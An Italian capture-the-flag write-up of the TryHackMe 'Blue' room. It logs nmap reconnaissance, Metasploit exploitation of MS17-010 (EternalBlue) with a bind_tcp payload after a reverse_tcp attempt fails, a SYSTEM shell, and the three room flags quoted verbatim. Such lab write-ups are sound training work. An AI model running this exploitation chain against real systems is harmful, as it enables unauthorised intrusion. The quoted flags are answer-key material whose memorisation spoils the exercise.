Writeup — Blue (TryHackMe) OS: Windows Server 2012 R2 Datacenter Difficoltà: Easy Data: 20 agosto 2026 --- ## Sommario Macchina Windows standalone, non in dominio. nmap rivela SMB esposto con una versione vulnerabile a MS17-010 (EternalBlue). essa è stata sfruttata con il modulo Metasploit dedicato e consigliato, con un tentativo iniziale fallito per via del payload "reverse_tcp" bloccato in uscita. passando a un payload "bind_tcp" la shell si apre e arriva direttamente come SYSTEM (privilegi elevati). da lì solo enumerazione manuale del filesystem per recuperare eventuali dati utili (le tre flag della room) Catena: nmap → SMB vulnerabile a MS17-010 → Metasploit EternalBlue → payload bind_tcp → shell SYSTEM → esplorazione filesystem → flag su C:, System32\config e Users\Jon\Documents. --- ## strumenti e metodologie aggiuntive durante la sessione è stato utilizzato un llm: per recupero dettagli su CVE, interpretazione di output grezzi, suggerimenti su vettori inesplorati in caso di blocco e spiegazione dettagliata di concetti tecnici. l'esecuzione e le scelte operative erano mie. il writeup è stato scritto da me e successivamente ripulito con lo stesso strumento. --- ## Premessa room fatta su una macchina AttackBox fornita da TryHackMe, non sulla mia locale. diversi tool già disponibili in /root/Desktop/Tools e /opt/, wordlist in /usr/share/wordlists, e sull'attackbox erano già presenti bloodhound, metasploit, postman, caido, exploitdb e ghidra tra gli altri. Room pensata e descritta dall'introduzione come primo contatto con EternalBlue e completata in circa un'ora di lavoro la parte tecnica non è stata onerosa, il tempo perso è stato sul primo tentativo di exploit tramite metasploit fallito e sulla ricerca del comando giusto per leggere il contenuto di un file da shell Windows,dato che non lo ricordavo e non è Linux dove si risolve con un semplice grep. --- ## Fase 1 — Ricognizione primo scan con script e version, non risponde: nmap -Pn -sC -sV -T4 10.114.166.198 ICMP disabilitato, da qui il -Pn in ogni scan successivo. provo con range di porte più ampio: nmap -Pn -T4 --top-ports 1000 10.114.166.198 Risultato: 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 49152-49155/tcp open unknown SMB e RDP esposti, nessun dominio (niente 389/88 quindi è macchina standalone). con 445 aperto la prima cosa sensata è controllare il MS17-010, ricercato online dopo averlo letto nell'introduzione alla room prima di iniziare: nmap -Pn -p445 --script smb-os-discovery,smb-vuln-ms17-010 10.114.166.198 stiamo dicendo a nmap di eseguire due script NSE precisi che contiene dentro sé= smb-os-discovery interroga SMB e prova a ricavare OS, hostname, dominio, versione Windows che possono tornarci molto utili visto che andrà usato Metasploit (soprattutto la versione). smb-vuln-ms17-010 verifica solo se SMB è vulnerabile a MS17-010 (EternalBlue) nmap ha centinaia di script già pronti in /usr/share/nmap/scripts/ proprio come questi Output conferma: VULNERABLE: MS17-010, CVE-2017-0143 OS: Windows Server 2012 R2 Datacenter 9600 Computer name: WIN-JO6REVNMMMP target confermato EternalBlue. --- ## Fase 2 — Exploitation Metasploit già installato nella macchina,cerco il modulo: Sequenza di comandi: msfconsole (aperto poi manualmente da shortcut su Desktop, comando runnava all'infinito) search eternalblue use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 10.114.166.198 show options nessun parametro obbligatorio mancante ad occhio. confermato anche facendo leggere l'output di show options al chatbot. primo tentativo con il payload di default (reverse_tcp): run il check preliminare conferma la vulnerabilità, exploit inizia ma il modulo si ferma su: Exploit failed with the following error: Read timeout expired when reading from the Socket (timeout=30) Exploit completed, but no session was created. comprendo che non c'è nessuna sessione creata. può essere un probabile firewall in uscita sulla macchina target, ma ho poca conoscenza riguardo le altre cause. dopo questo tentativo fallito, quello che ha funzionato è stato rilevato dal chatbot, giustificabile perchè la room lo diceva già: nelle istruzioni del "Task2" c'era scritto di impostare set payload windows/x64/shell/reverse_tcp prima di lanciare l'exploit, "for the sake of learning". non l'avevo letto, dato che stavo lavorando quasi interamente in autonomia nella macchina. Quindi: set PAYLOAD windows/x64/shell_bind_tcp set LPORT 4444 exploit questa volta il check è identico ma la sessione si apre: Command shell session 1 opened (10.114.130.193:44197 -> 10.114.166.198:4444) shell come: C:\Windows\system32>whoami nt authority\system SYSTEM diretto senza nessun passaggio intermedio di privilege escalation . --- ## Fase 3 — Enumerazione e recupero delle flag utenti presenti sulla macchina: dir C:\Users Administrator, Jon, Public. parto da Jon: dir C:\Users\Jon\Documents Directory of C:\Users\Jon\Documents .... 07/31/2026 01:29 PM 37 flag3.txt type C:\Users\Jon\Documents\flag3.txt flag{admin_documents_can_be_valuable} prima flag trovata. Administrator\Desktop e Administrator\Documents risultano praticamente vuoti, e rimanendo poco tempo rimanente nella macchina Free cerco direttamente per nome file direttamente dalla radice visto che posso muovermi ovunque nel filesystem: dir C:\flag*.txt (equivalente di un grep in Linux) Directory of C:\ 07/31/2026 01:24 PM 24 flag1.txt type C:\flag1.txt flag{access_the_machine} resta una terza flag non ancora trovata, ipotizzo legata al database SAM viste le indicazioni della room su NTLM e hash che ho letto in questa fase per avere del contesto. ma fortunatamente è bastato cercare di nuovo ricorsivamente in tutto il filesystem: dir /s C:\flag2.txt Directory of C:\Windows\System32\config (percorso in cui era la flag) 07/31/2026 01:26 PM 34 flag2.txt type C:\Windows\System32\config\flag2.txt flag{sam_database_elevated_access} tutte e tre le flag recuperate. --- ## Catena completa nmap top-ports → SMB e RDP esposti → smb-vuln-ms17-010 conferma CVE-2017-0143 → Metasploit exploit/windows/smb/ms17_010_eternalblue → payload reverse_tcp fallisce (timeout) → payload shell_bind_tcp funziona → shell diretta come nt authority\system → enumerazione manuale filesystem → 3 flag recuperate --- ## Lezioni apprese leggere le istruzioni della room prima di lanciare qualcosa, anche quando sembrano scontate. in questo caso il suggerimento sul cambio di payload c'era già scritto e l'ho trovato da un'altra parte solo dopo aver perso tempo a cercarlo altrove. --- ## Tool utilizzati nmap, msfconsole/metasploit (exploit/windows/smb/ms17_010_eternalblue)